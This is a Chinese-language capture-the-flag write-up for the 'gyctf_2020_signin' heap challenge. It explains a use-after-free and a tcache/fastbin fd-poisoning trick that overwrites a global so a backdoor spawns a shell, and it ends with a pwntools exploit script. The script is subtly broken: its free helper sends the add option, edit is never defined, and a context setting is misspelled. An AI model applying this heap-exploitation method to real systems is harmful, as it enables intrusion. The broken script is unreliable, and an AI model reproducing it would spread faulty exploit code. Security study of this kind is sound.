gyctf_2020_signin
惯例我们先来checksec一下
开启了canary和NX的64位程序
放进ida64里看看
main函数setbuf后直接跳转到menu函数没啥营养就不放上来了
menu函数
1 add 添加堆 2 edit 编辑堆 3 delete 删除堆 6 backdoor
1 add
没有检查原本的flag[idx]是否为1可以重复申请
2 edit
标准的编辑函数
但是由于编辑时没有要求检查flag的值 因此存在uaf漏洞 可以读入大小为0x50的内容
由于cut的值为0 因此只能修改一次
3 del
标准的删除函数
6 backdoor
我们可以很快的发现存在backdoor函数只要ptr的值为1就可以执行system("/bin/sh")
同时在开头处存在一个calloc函数
calloc函数不会分配tcache中的chunk
那么我们的目标就已经很明了了 只要将ptr篡改成非0即可
审题完成 开始解题
由于我们需要将ptr的值改为非零 而calloc只能申请fastbin中的内容
因此我们考虑先将tcache填满 然后将chunk7放进fastbin中
add(0)
add(1)
add(2)
add(3)
add(4)
add(5)
add(6)
add(7)
free(0)
free(1)
free(2)
free(3)
free(4)
free(5)
free(6)#将tcachebin填满
free(7)#将chunk7放进fastbin中
然后我们再申请一个chunk将tcache链空出一个位置
add(0)
然后我们利用edit函数中的uaf漏洞将chunk7(fastbin中的chunk)的fd的值改为ptr-0x10这样的话fastbin就会指向ptr-0x10
payload = p64(0x4040c0-0x10).ljust(0x50,'\x00')
edit(7,payload)
接下来我们执行backdoor函数 从fastbin中取出chunk申请一个
calloc 将这个 chunk7分配出去时,就会认为 fd 指针对应的也是一个 chunk (即将ptr-10),会把这个 chunk 放入 tcache ,而 tcache 中是以 fd 指针连接的,这样 ptr 的值就会被修改为某个 fd 的指针。即ptr不为0进而执行system(/bin/sh)获取控制权
fastbin的fd执政指向的时下一个chunk的prev_size位 而tcachebin中的链表指针指向的是下一个chunk的fd字段
io.sendlineafter('your choice?', '6')
io.interactive()
下图第一张实在edit(7,payload)前 第二张是在edit(7,payload)后 最后一张是最后calloc后
exp:
from pwn import*
io=remote('')
elf=ELF('./gyctf_2020_signin')
context.log_lecel='debug'
def add(idx):
io.recvuntil('choice?')
io.sendline(b'1')
io.recvuntil('idx?')
io.sendline(str(idx))
def free(idx):
io.recvuntil('choice?')
io.sendline(b'1')
io.recvuntil('idx?')
io.sendline(str(idx))
add(0)
add(1)
add(2)
add(3)
add(4)
add(5)
add(6)
add(7)
free(0)
free(1)
free(2)
free(3)
free(4)
free(5)
free(6)#将tcachebin填满
free(7)#将chunk7放进fastbin中
payload = p64(0x4040c0-0x10).ljust(0x50,'\x00')
edit(7,payload)
io.sendlineafter('your choice?', '6')
io.interactive()